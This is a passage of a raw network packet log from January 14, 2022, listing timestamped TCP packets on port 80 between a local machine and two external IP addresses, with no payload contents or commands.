Jan 14, 2022 02:05:05.399719954 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399729967 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399739027 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399756908 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399760962 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399772882 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399787903 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399797916 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399831057 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.406831980 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.413467884 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.464148045 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.179476976 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.231426001 CET	80	49849	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.231538057 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.232357025 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.232433081 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.284425974 CET	80	49849	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.312877893 CET	80	49849	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.316457033 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.316668034 CET	49849	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.366024017 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.368465900 CET	80	49849	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.416850090 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.416968107 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.417081118 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.420193911 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.467457056 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.471236944 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.516720057 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.516973972 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.516997099 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:07.554389000 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.567440033 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:07.625080109 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.625211000 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.625379086 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.695883989 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702379942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702421904 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702444077 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702465057 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702498913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702500105 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.702522039 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702527046 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.702545881 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702560902 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.702580929 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702603102 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702624083 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.702644110 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.702683926 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.773068905 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773102045 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773123980 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773145914 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773169041 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773190022 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773214102 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773236990 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773258924 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773281097 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773300886 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773323059 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773345947 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773366928 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773389101 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773411036 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773432970 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773454905 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.773679972 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.773893118 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844136953 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844168901 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844188929 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844209909 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844233036 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844239950 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844254017 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844283104 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844306946 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844315052 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844330072 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844337940 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844353914 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844373941 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844374895 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844398022 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844419003 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844427109 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844441891 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844463110 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844464064 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844487906 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844504118 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844511032 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844532967 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844554901 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844575882 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844594955 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844598055 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844613075 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844620943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844636917 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844641924 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844666004 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844686031 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844690084 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844712973 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844728947 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844734907 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844758034 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844779968 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844799042 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844830990 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844865084 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844887018 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844907999 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844947100 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844949961 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.844970942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.844986916 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.845036030 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.845057011 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.845098972 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915297985 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915334940 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915357113 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915379047 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915393114 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915404081 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915429115 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915430069 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915452957 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915476084 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915489912 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915501118 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915517092 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915525913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915540934 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915550947 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915575027 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915591955 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915596962 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915618896 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915637016 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915642023 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915667057 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915679932 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915689945 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915713072 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915735006 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915735006 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915756941 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915771008 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915779114 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915802002 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915816069 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915824890 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915849924 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915860891 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915873051 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915896893 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915909052 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915920973 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915946007 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915956974 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.915970087 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.915992022 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916006088 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916014910 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916038990 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916050911 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916060925 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916084051 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916095972 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916105986 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916127920 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916141987 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916148901 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916172028 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916187048 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916192055 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916214943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916229010 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916239977 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916264057 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916280031 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916287899 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916313887 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916330099 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916340113 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916363955 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916376114 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.916387081 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916409016 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.916424036 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.986902952 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.986984968 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.986987114 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987024069 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987068892 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987070084 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987087965 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987123013 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987128019 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987174988 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987201929 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987215996 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987250090 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987274885 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987294912 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987354994 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987391949 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987400055 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987416983 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987441063 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987463951 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987472057 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987488031 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987503052 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987509966 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987533092 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987550974 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987555981 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987581968 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987606049 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987628937 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987629890 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987653017 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987653971 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987674952 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987688065 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987699986 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987725019 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987745047 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987746000 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987768888 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987782001 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987792015 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987814903 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987828016 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987839937 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987862110 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987878084 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987884998 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987909079 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987931967 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987942934 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.987955093 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987978935 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.987981081 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.988003016 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988019943 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.988027096 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988049984 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988073111 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.988074064 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988096952 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988110065 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.988118887 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988142967 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988153934 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:07.988166094 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988190889 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:07.988203049 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.047403097 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058573961 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058609962 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058633089 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058656931 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058680058 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058701992 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058713913 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058725119 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058748960 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058763981 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058773041 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058798075 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058799982 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058820963 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058844090 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058851957 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058867931 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058881998 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058892012 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058914900 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058938026 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058952093 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.058960915 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058984995 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.058990002 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059007883 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059031010 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059031963 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059055090 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059071064 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059077024 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059101105 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059125900 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059125900 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059148073 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059170008 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059170961 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059195042 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059215069 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059217930 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059238911 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059262037 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059262991 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059286118 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059308052 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059310913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059333086 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059355021 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059356928 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059380054 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059401989 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059402943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059426069 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059449911 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059449911 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059473038 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059494019 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059499025 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059523106 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059545040 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059546947 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059570074 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059587955 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059592962 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059617043 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059637070 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.059639931 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.059679985 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.117889881 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.117927074 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.118002892 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130189896 CET	80	49851	141.8.194.74	192.168.2.3
